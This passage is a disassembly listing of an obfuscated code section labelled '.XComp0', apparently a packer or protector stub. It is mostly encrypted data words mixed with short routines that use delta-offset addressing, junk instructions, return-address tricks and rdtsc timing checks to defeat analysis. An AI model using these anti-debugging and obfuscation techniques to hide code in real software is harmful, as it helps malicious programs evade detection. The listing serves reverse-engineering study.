		dd 24850F01h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0E483C353h,	0FF5EC337h
		dd 8B0F51DEh, 0F92B258Dh, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0C757B43Eh
		dd 83B97BE4h, 850F01E1h, 12h, 6840Fh, 95010000h, 5F91245h
		dd 0DD19D29h, 606105F9h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 17h, 52C35141h, 0B95ABF22h, 0FFFFFFFEh, 290D858Bh
		dd 8D2105F9h, 5F92519h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 3BC35141h, 0CE8F8B3h,	0F6000000h, 0E056D950h
		dd 17C7606Eh, 89677558h, 0F9211185h, 8D215805h,	5F9202Dh
		dd 8D8B2DB0h, 5F92519h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0D6C35242h, 0A18BC2ACh, 0F0EF1AD1h, 0E183DA8Bh
		dd 30850F01h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0B49DC352h,	0C76D3D4Ch
		dd 9D8B609Ah, 5F92721h,	2BD1858Bh, 8B6105F9h, 0F9202D8Dh
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0F2BF0FECh, 0F01E183h, 3485h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0DE81953h, 0F8000000h, 1DB2E0EAh, 63486B77h,	0AA1FA414h
		dd 4A6FB866h, 6A60615Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 1731C357h, 0D7327812h
		dd 0BD035053h, 5F904F9h, 1585C75Ah, 0D005F907h,	6A000007h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0DDB7C356h, 4618F3D4h, 7DD8D29h, 6A6105F9h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 9D94C357h, 0F5FCF90Ah, 9D6107EBh,	0E9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 6170E2AFh, 0CA9C5C27h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 49C35545h, 0DA1FD499h, 8B1369B3h, 8F4FEBC1h
		dd 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h, 3134CE00h
		dd 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h, 0DB6734DFh
		dd 68E500A6h, 0BA9F0042h, 0DC80h, 1B540000h, 0FEBBh, 0FBFE39h
		dd 0B4870000h, 202352DDh, 9E019ED9h, 9E97C80h, 66000012h
		dd 404CE981h, 1785BD83h, 0F0005F9h, 3885h, 6840F00h, 8B000000h
		dd 0F911E195h, 0E9958B05h, 0B805F907h, 0
		dd 12E8h, 5DB70700h, 0B2276783h
; ---------------------------------------------------------------------------
		sub	ch, [edi]


loc_5B2BFB:				; CODE XREF: .XComp0:005B2BFFj
		mov	bh, 0BDh
		test	al, 0B8h
		jecxz	short loc_5B2BFB
		inc	ebx
		add	cl, [ecx-6DE4273h]
		add	eax, 4C259h
		mov	eax, eax
		pusha
		call	sub_5B2C1B
		nop
; ---------------------------------------------------------------------------
		dw 3BE2h
		db 0A7h, 0F7h, 62h

; =============== S U B	R O U T	I N E =======================================



sub_5B2C1B	proc near		; CODE XREF: .XComp0:005B2C10p

arg_1C		= dword	ptr  20h

		push	ecx
		pop	eax
		pop	eax
		mov	cx, 3B10h
		popa
		cmp	dword ptr [ebp+5F931C9h], 0
		jnz	short loc_5B2C35
		cmp	dword ptr [ebp+5F912B5h], 0
		jz	short loc_5B2C48


loc_5B2C35:				; CODE XREF: sub_5B2C1B+Fj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 4D0h
		lea	ebx, [ebp+5FBF158h]
		call	ebx
		pop	ebx
		pop	eax


loc_5B2C48:				; CODE XREF: sub_5B2C1B+18j
		cmp	dword ptr [ebp+5F912B5h], 0
		jz	short loc_5B2C62
		push	eax
		push	ebx
		mov	eax, 4D0h
		lea	ebx, [ebp+5FBF0A5h]
		call	ebx
		pop	ebx
		pop	eax


loc_5B2C62:				; CODE XREF: sub_5B2C1B+34j
		jmp	loc_5B2C7A
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0BA6A1327h, 0F80A728Ch, 0EA5DDCACh, 0F1680D93h
		db 17h,	0D2h
; ---------------------------------------------------------------------------


loc_5B2C7A:				; CODE XREF: sub_5B2C1B:loc_5B2C62j
		push	edx
		cmc
		pop	edx
		mov	eax, eax
		lea	eax, [ebp+5FD75C5h]
		mov	[ebp+5F934CDh],	ebx
		push	eax
		push	eax
		push	edx
		jmp	loc_5B2C98
; ---------------------------------------------------------------------------
		inc	edi
		dec	ecx
		stosd
		xchg	eax, ebx
		cld


loc_5B2C98:				; CODE XREF: sub_5B2C1B+73j
		rdtsc
		pusha
		mov	edx, ecx
		pusha
		popa
		popa
		pop	edx
		pop	eax
		mov	[esp-20h+arg_1C], eax
		and	edx, 53C6D595h
		lea	eax, [ebp+5FD7582h]
		add	cx, 0F257h
		nop
		mov	di, 4E8Eh
		push	eax
		jo	loc_5B2CC6
		mov	cx, 0ACAFh


loc_5B2CC6:				; CODE XREF: sub_5B2C1B+A1j
		nop
		push	0
		push	edx
		call	sub_5B2CD2
		and	[edx-3Dh], bl
sub_5B2C1B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B2CD2	proc near		; CODE XREF: sub_5B2C1B+AFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5B2CD2	endp

; ---------------------------------------------------------------------------
		dw 90A4h
		dd 9883402Fh, 0EF3AA5E8h, 292595FFh, 6A05F9h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 92707DC3h
		dd 8BCEB70Fh, 80042444h, 0EE886C6h, 91000000h, 0F2FBE9F9h
		dd 0B30BA3BEh, 0EF6CCAC8h, 2ABA66F2h, 85895F4Ch, 5FD75ADh
		dd 0FCFB70Fh, 58Ch, 0D7816600h,	448B7399h, 6A0824h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 157FD2C3h, 0B219D09h, 0BD8B05F9h, 5F90425h, 75C18589h
		dd 6A05FDh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0EC10F4C3h, 75F39Fh, 0D48CEF81h, 0BD830A1Bh
		dd 5F918A9h, 96850F00h,	8B000000h, 0F92F018Dh, 9985C605h
		dd 4705F918h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Dh,	98C35343h, 336552BAh, 910B89ACh, 0DDB5293Bh, 6805F919h
		dd 0FFD2406Fh, 4810Fh, 0BA660000h, 34816EC0h, 48E7BD24h
		dd 0ECD802Bh, 8D1B5FFh,	0CD8005F9h, 10858D8Ch, 2305FCC5h
		dd 0F900A58Dh, 6AD0FF05h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0F97CC353h,	132E4DEEh
		dd 0A98589F9h, 8905F918h, 0F9293D8Dh, 9BD8305h,	5F915h
		dd 117850Fh, 85C60000h,	5F91899h, 51006A47h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0DEDFF242h
		dd 0D2B47B31h, 860F305Dh, 0Ch, 6880Fh, 95890000h, 5F90C61h
		dd 7EE61768h, 58D0F82h,	0BA000000h, 2A400046h, 0F5243481h
		dd 89087153h, 0F927F98Dh, 0D1B5FF05h, 6A05F908h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 58B3C353h, 0BB279621h, 10858DF8h, 0F05FCC5h,	685h, 0CDBD8B00h
		dd 6605F933h, 0D0FFD38Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0CFC35343h, 3D054BEEh, 1AA202Ch, 0BE8h
		dd 41C44900h, 6B8553Fh,	0FBDE4950h, 4800Fh, 0B9660000h
		dd 895A5C49h, 0F9150985h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 8A9C1CCFh
		dd 0DD22B8B1h, 8870F91h, 0F000000h, 28Ah, 29616000h, 0F921F5B5h
		dd 51BD8305h, 5F927h, 77850Fh, 0F600000h, 68Dh,	4D8D0900h
		dd 0B805F92Bh, 0C3DBF8h, 9985C661h, 5605F918h, 78BD181h
		dd 4E82C63h, 39000000h,	50D41F6Dh, 0AE9h, 8F034400h, 0EAE25926h
		dd 8BCF36A2h, 66042444h, 8BF61CBFh, 89D7B600h, 66042444h
		dd 0F58C88Bh, 0B531FAB7h, 5F90041h, 8D1B5FFh, 0FDB205F9h
		dd 0C510858Dh, 0C98005FCh, 89D0FF1Dh, 0F91F4D9Dh, 51858905h
		dd 8A05F927h, 9985C6F7h, 6C05F918h, 1F3DBD09h, 4E805F9h
		dd 83000000h, 66DB0570h, 50B484BFh, 0EE9h, 5A10D200h, 0B6282D7Fh
		dd 0F51B2304h, 8BDA9009h, 60042444h, 52503FB1h,	0FC88B66h
		dd 5A616031h, 8B6158h, 0E850Fh,	50600000h, 5A310F52h, 810F58h
		dd 61000000h, 4244489h,	24B86660h, 13E8ADh, 26BF0000h
		dd 0D883D89h, 15C9267Fh, 0DC6535F9h, 14D11384h,	0F525062h
		dd 58585A31h, 0BD895861h, 5F9209Dh, 2719B5FFh, 6A05F9h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0C18E5EC3h, 7D7D2D72h, 9589538Dh, 5F929A5h, 3A6A858Dh
		dd 6A05F9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 897E09C3h, 0F91219BDh, 6AD0FF05h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 53F2C357h, 5ACAB70Fh, 75B18589h, 0EE905FDh, 11000000h
		dd 0BB52E8AFh, 93B53D64h, 0E5095046h, 0CDBD8369h, 5FD75h
		dd 13C850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0AEB742C3h, 0CC3AB0E4h, 6840Fh
		dd 0BD8B0000h, 5F912ADh, 19D1BD29h, 85C605F9h, 5F91899h
		dd 51006A49h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 4D98CEEFh, 0D78B6628h, 15A18589h, 676805F9h
		dd 0B1DBB887h, 24348111h, 57ADAE8Eh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 46C35747h, 23F5555Ah, 802F805Ah
		dd 0B5FFD3E5h, 5F92719h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 18h, 0F5C35040h, 9B234DCh,	1485958Bh, 8D8905F9h
		dd 5F928B1h, 3A6A858Dh,	0BD8B05F9h, 5F9311Dh, 6AD0FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0B1BB15C3h, 90E7819Fh, 0FC47BEE8h, 11E9h, 15053300h
		dd 76DC6F6Dh, 0FD3B10F9h, 0AFB8943Dh, 85892489h, 5FD75CDh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 22C35545h
		dd 531115D1h, 46ADD45h,	4DD9D89h, 4E805F9h, 0
		dd 50000010h, 880F5152h, 0
		dd 50310F5Fh, 0B9310F52h, 7D33E0CFh, 585A585Ah,	5D54B950h
		dd 448B704Ah, 52500424h, 28E0Fh, 61600000h, 8B66310Fh
		dd 8B585ACFh, 0D38B6000h, 0E0D2BB66h, 24448961h, 0BE804h
		dd 397F0000h, 5C41E3D5h, 87577496h, 8ABA539Fh, 5940C23Eh
		dd 87B25859h, 0C9C9D868h, 7458BF38h, 34812BC9h,	0C8C9D824h
		dd 1E78BA38h, 8B664EC1h, 0BA006AFBh, 17CAE6B4h,	318D95FFh
		dd 4DB505F9h, 0AC9BD89h, 858905F9h, 5FD75BDh, 11E9h, 5D1B200h
		dd 1183871Bh, 9C13C191h, 0A29EF7D3h, 85C72F22h,	5FD75B5h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5B331F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B331F	proc near		; CODE XREF: .XComp0:005B3317p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5B331F	endp

; ---------------------------------------------------------------------------
		db 54h
		dd 8D8BCE7Ch, 5F91069h,	6AB1B1h, 0FE9h,	1A983500h, 9A5FECD0h
		dd 84BB3DCh, 24AFDDA8h,	32518D8Bh, 616805F9h, 0B9A7CE39h
		dd 6E19B73Ch, 9F240481h, 0F5832C6h, 0F8Ch, 0AE900h, 93960000h
		dd 65B10139h, 0C342690h, 212EB950h, 48973F0h, 1D8D2B24h
		dd 6A05F908h, 0B195090Bh, 6605F92Ah, 8D7AFDB9h,	0FD758A85h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0C5D26CFFh, 5350F928h, 0F1B95250h, 0F23AB5Ch
		dd 11E831h, 0A7E70000h,	0A1B51BE3h, 0D07939DBh,	47346F75h
		dd 59238D4Dh, 895F585Ah, 0CA8B2404h, 18A995FFh,	0BA6605F9h
		dd 0BA66F1EFh, 0B58D8BE7h, 5FD7594h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 0AAC35747h,	0F7816686h, 9D899F8Fh
		dd 5F928BDh, 12850Fh, 0DE90000h, 34000000h, 8A0AD42Eh
		dd 4E432BFh, 73091629h,	24348950h, 7B26F181h, 0E890071Fh
		dd 0Bh,	14CF82Ah, 7EE82B4Eh, 0FAC69E2h,	485h, 25BF6600h
		dd 90505939h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Bh,	8FC35747h, 0FEE006C8h, 0FFFB8E78h, 0F9150995h
		dd 0C7E28005h, 850FC00Bh, 2Dh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 98C35545h, 0ABE1AA00h, 0E9E3E5ABh
		dd 700h, 8EE9BFBFh, 6AD0FF47h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 589CC352h, 797BA4C0h
		dd 0BDB58B72h, 8B05FD75h, 0F92A75BDh, 20468D05h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 42C35141h, 66E4C4A6h
		dd 6AC7203Fh, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 91733146h, 898FC553h, 0F9077DB5h
		dd 0CB8A5005h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 10FC356h, 0E17498AFh
		dd 5F9B774Dh, 14E8h, 0CED3C500h, 16EA5EF4h, 0D562DB94h
		dd 9C9E21Eh, 4A89AD7Ch,	7D8D0145h, 5A05F912h, 246D8589h
		dd 95FF05F9h, 5FD75CDh,	13E8h, 75358900h, 6BB49232h, 0C1CC46F7h
		dd 9FA94C80h, 0DEE24596h, 24FDB509h, 0B5905F9h,	2A840FC0h
		dd 0F000000h, 68Bh, 0CAF28100h,	0E92C2788h, 5ECh, 14E9h
		dd 0EDFC0800h, 0A57A7A61h, 8248D4B4h, 94DDF7A8h, 0D36D3118h
		dd 207E80D6h, 0C9840F00h, 6A000005h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 126EC356h
		dd 80C255A9h, 6A60E7F1h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 3D93C357h, 1D4049DAh
		dd 20468D4Dh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	55C35747h, 8959708Ah, 0F9001D9Dh, 39BD8B05h, 8905F92Eh
		dd 0FD75B985h, 0A1958905h, 0E905F92Eh, 16Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 7CC35343h, 932BC7A4h
		dd 78039F7Ch, 860846BAh, 958B402Fh, 5F90779h, 532BBA90h
		dd 0BF5019D9h, 565355BDh, 57006A90h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 329E8770h
		dd 0F16E28Dh, 689h, 95958900h, 8905F904h, 0F919119Dh, 6A046A05h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 738BC350h, 0DF939CD3h, 8C0FF5C9h,	5, 37F78166h
		dd 22B190BCh, 4870F50h,	66000000h, 907694BFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0C1C35343h, 0C9AC73B6h
		dd 958B6763h, 5F9107Dh,	75CD95FFh, 0B70F05FDh, 6AD88BD2h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 284BC351h, 5F931CD4h, 9D2958FBh, 5F92AB9h
		dd 0A58D3358h, 0B05F92Ch, 54840FDBh, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0BBF4C357h, 0BD2B85B6h, 5F918B5h, 3FFE9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 3FD52D9Ah, 8C7CB299h, 0A1BD8B0Ch, 8005F934h,	850F0038h
		dd 0FFFFFEB1h, 20F18D09h, 958905F9h, 5F9221Dh, 23E9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 9F7D4724h, 0F8B70F48h, 75B9853Bh, 820F05FDh,	51h, 0E0C0BF66h
		dd 0F5C3880h, 4484h, 5840F00h, 0B9000000h, 3B5515FCh, 1F5D8529h
		dd 388005F9h, 0C9850F2Fh, 6AFFFFFFh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0EDF1C351h
		dd 71B5EB44h, 8B1E34E8h, 0F908DD8Dh, 880F4005h,	1Fh, 19830Fh
		dd 14E90000h, 7A000000h, 0DB287848h, 0AF2E11D6h, 3AB6E6AFh
		dd 71EDCC92h, 830A3F30h, 0FD75C1BDh, 840F0005h,	173h, 6870Fh
		dd 8D8B0000h, 5F9015Dh,	168A0F90h, 0E9000000h, 11h, 54F633C7h
		dd 0AAA21600h, 5FB7498Bh, 99CD587Fh, 0BF6650D0h, 6A90E11Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 8141C351h, 0D28B41DFh, 0C1850303h, 905FD75h
		dd 0F9074D95h, 8B669005h, 11E950D6h, 82000000h,	489B32F4h
		dd 30EB0133h, 0EF95BCE9h, 0E27FE905h, 56006A90h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 0E45B7D6Bh, 0E96CF18Fh, 7, 0D36A626Eh, 6A378125h, 6800F04h
		dd 89000000h, 0F90D7DBDh, 8B665005h, 240489CFh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0CAC35343h, 75CD95FFh
		dd 0D88B05FDh, 31D19D29h, 6A5805F9h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 52B7C353h
		dd 662B9020h, 0D75EC181h, 840FDB0Bh, 30h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Dh, 0FDC35343h, 8293B167h
		dd 0FB675D1h, 1CAE902h,	958B0000h, 5F91B15h, 10000C6h
		dd 0F9076D85h, 6A5805h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 824B5DC3h, 0D1950359h, 5005F92Bh
		dd 50605250h, 5A310F52h, 0A2BF6658h, 310F6132h,	585AD08Bh
		dd 8B240489h, 0F9256D8Dh, 0BD896005h, 5F906CDh,	4B24B966h
		dd 11E6A61h, 0F9223D9Dh, 52509005h, 0F525060h, 8B585A31h
		dd 310F61F3h, 0F525060h, 61585A31h, 8A50585Ah, 0D58090F3h
		dd 61BD8B24h, 0FF05F914h, 0FD75CD95h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 27DE5D28h, 2CF14F73h, 59858954h, 8B05F926h, 816658D8h
		dd 66248BC1h, 0B0BB4B9h, 0D840FDBh, 8B000000h, 0F904F98Dh
		dd 0EEE905h, 0F88B0000h, 50D68B90h, 12E8h, 0C3DD3400h
		dd 0D54B1EFCh, 0EB2234Dh, 0D632717Fh, 5F0034DAh, 7E990h
		dd 2C680000h, 0ADCCD29Dh, 0ADB5FF19h, 8905FD75h, 0F9211995h
		dd 0B195FF05h, 0F805FD75h, 850FC00Bh, 6Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh
		dd 0CDC35747h, 0E290214Ah, 62F7A73Bh, 614AB159h, 6860F60h
		dd 29000000h, 0F92661BDh, 0BBB86605h, 85C76168h, 5FD75B5h
		dd 1, 0F18B6660h, 28DD8D31h, 0E96105F9h, 54h, 12E956h
		dd 62F10000h, 8CFA4283h, 4274E332h, 0BF2C42B5h,	1EA8F3E4h
		dd 12E86159h, 0FD000000h, 89226C6Fh, 0F224B2D1h, 0BCBA7AA1h
		dd 4FA7035Ch, 0B820F85h, 0E9000000h, 6,	0CFCE9C80h, 81594BD0h
		dd 11CC6h, 0F93BE900h, 8D8BFFFFh, 5F90825h, 3754D868h
		dd 0A4BB95Ch, 34813766h, 37D4D824h, 6AF55Ch, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0C35545h, 5880Fh
		dd 33BA0000h, 0FF70ED37h, 0FD75BDB5h, 4890F05h,	66000000h
		dd 0FF7BC3BFh, 0F9275195h, 0C9816605h, 8F0FCF6Ah, 0
; ---------------------------------------------------------------------------
		mov	eax, [ebp+5FD75B5h]
		xor	di, 7C87h
		nop
		jb	loc_5B3C32
		mov	di, 1D03h


loc_5B3C32:				; CODE XREF: .XComp0:005B3C28j
		push	eax
		pusha
		mov	bx, dx
		mov	bx, si
		popa
		nop
		push	0
		push	edx
		call	sub_5B3C47
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B3C47	proc near		; CODE XREF: .XComp0:005B3C3Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5B3C47	endp

; ---------------------------------------------------------------------------
		db 0BCh
		dd 0C5858DDFh, 6A05FD75h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0F074C351h,	0AAB171BAh
		dd 0DE864h, 0F15B0000h,	0E39F1C80h, 0C84F5493h,	0F438F46h
		dd 680h, 0B99D3100h, 5905F91Ah,	52505690h, 0FE9h, 35004900h
		dd 0B748CFB6h, 184A0A94h, 97BC2317h, 8AB6310Fh,	505A585Ah
		dd 6A90D78Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 9271C353h, 95236731h, 5F91E95h
		dd 18D19589h, 858D05F9h, 5FD7582h, 8950FE8Bh, 6A2404h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0BB4937C3h, 2E55BD8Bh, 95FF05F9h, 5F90B2Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 1FC35242h, 0E58D01FCh
		dd 8B05F91Fh, 0CFBF0FC0h, 0C9BD83F9h, 5F931h, 0BD830975h
		dd 5F912B5h, 50137400h,	0B8C08B53h, 4D0h, 0F1BF9D8Dh, 0D3FF05FBh
		dd 0BD83585Bh, 5F912B5h, 50117400h, 4D0B853h, 9D8D0000h
		dd 5FBF0BEh, 585BD3FFh,	0CE9h, 2C3F0200h, 91C555AAh, 0AD3D0CADh
		dd 0FC08BA0h, 682h, 258D0900h, 5805F928h, 0C2D3BF0Fh, 0E9600008h
		dd 13h,	0B4A0F488h, 15E0DE1h, 7E121568h, 2E4980E4h, 6159E917h
		dd 858DC08Bh, 5FD75DBh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 52C35646h, 25BE1C91h,	7CCBE80Eh, 9E9h
		dd 0AD13100h, 530F785h,	858974B4h, 5F92449h, 75E9h, 8C666000h
		dd 0F04A8D8h, 3584h, 0FF016A00h, 0F92719B5h, 10858D05h
		dd 0FF05FCC5h, 58589D0h, 8B05F91Eh, 0CEFC1FEh, 4000068h
		dd 6A006A20h, 0D685702h, 0FF000100h, 0F91E0595h, 32E905h
		dd 85C60000h, 5F91899h,	30DF6856h, 0B5FFA9C5h, 5F908D1h
		dd 0C510858Dh, 0D0FF05FCh, 0F658589h, 858D05F9h, 5F918C1h
		dd 6A206A50h, 95FF5605h, 5F90F65h, 0E0C1C361h, 0F606006h
		dd 185h, 0BF0FF800h, 0C08B61CFh, 0F43CE981h, 0BD834435h
		dd 5F931C9h, 83097500h,	0F912B5BDh, 19740005h, 0C08B5350h
		dd 438B8h, 0E9858900h, 8D05F928h, 0FBF3849Dh, 5BD3FF05h
		dd 0B5BD8358h, 5F912h, 53501774h, 438B8h, 0E9858900h, 8D05F928h
		dd 0FBF0739Dh, 5BD3FF05h, 56006A58h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0F1B589F8h
		dd 8B05F926h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0E11394AEh, 840794B2h, 1395BD29h
		dd 0DDE805F9h, 81000007h, 7BCC45CEh, 0CF8B6676h, 3D18589h
		dd 6A05F9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 3B4A3FC3h, 1C0BEE8Fh, 7A7E8h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 8B83D80Ch, 0F90E15B5h, 0EDB52305h, 8905F918h, 0F9346585h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0CE475F0Fh, 16F18D89h, 4DE805F9h, 81000007h
		dd 35DB47E6h, 0A185891Eh, 6A05F91Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0EFA6C357h
		dd 3737B8CCh, 655BD8Bh,	0B96605F9h, 11E82F64h, 6A000007h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 4426C356h, 12DCE2Ah, 55BD235Dh, 8905F90Ch
		dd 0F9179985h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 8531141Dh, 5F91985h, 6BBE8h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 1A58265Ch, 5AA1D210h, 880FDF76h,	0
; ---------------------------------------------------------------------------
		mov	[ebp+5F90FD9h],	eax
		push	0
		push	esi
		call	sub_5B4099
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4099	proc near		; CODE XREF: .XComp0:005B4091p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5B4099	endp

; ---------------------------------------------------------------------------
		db 88h,	0F4h, 0A0h
; ---------------------------------------------------------------------------
		add	[ebp+5F90D01h],	ebx
		jmp	loc_5B40BC
; ---------------------------------------------------------------------------
		db 5Dh
		dd 2796B96h
; ---------------------------------------------------------------------------


loc_5B40BC:				; CODE XREF: .XComp0:005B40B2j
		call	sub_5B4718
		push	0
		push	ebx
		call	sub_5B40CC
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B40CC	proc near		; CODE XREF: .XComp0:005B40C4p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5B40CC	endp

; ---------------------------------------------------------------------------
		dd 0A8371362h, 159D8589h, 950905F9h, 5F91F8Dh, 20E98D33h
		dd 21E805F9h, 6A000006h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 99A2C351h, 0B3E6D27Fh
		dd 9D29A9B5h, 5F9253Dh,	32E98589h, 0B58B05F9h, 5F90B09h
		dd 0E2816660h, 81664603h, 6147FDF2h, 5DBE8h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 42089557h, 0AE536401h, 8B66F868h, 98589CFh, 0E905F924h
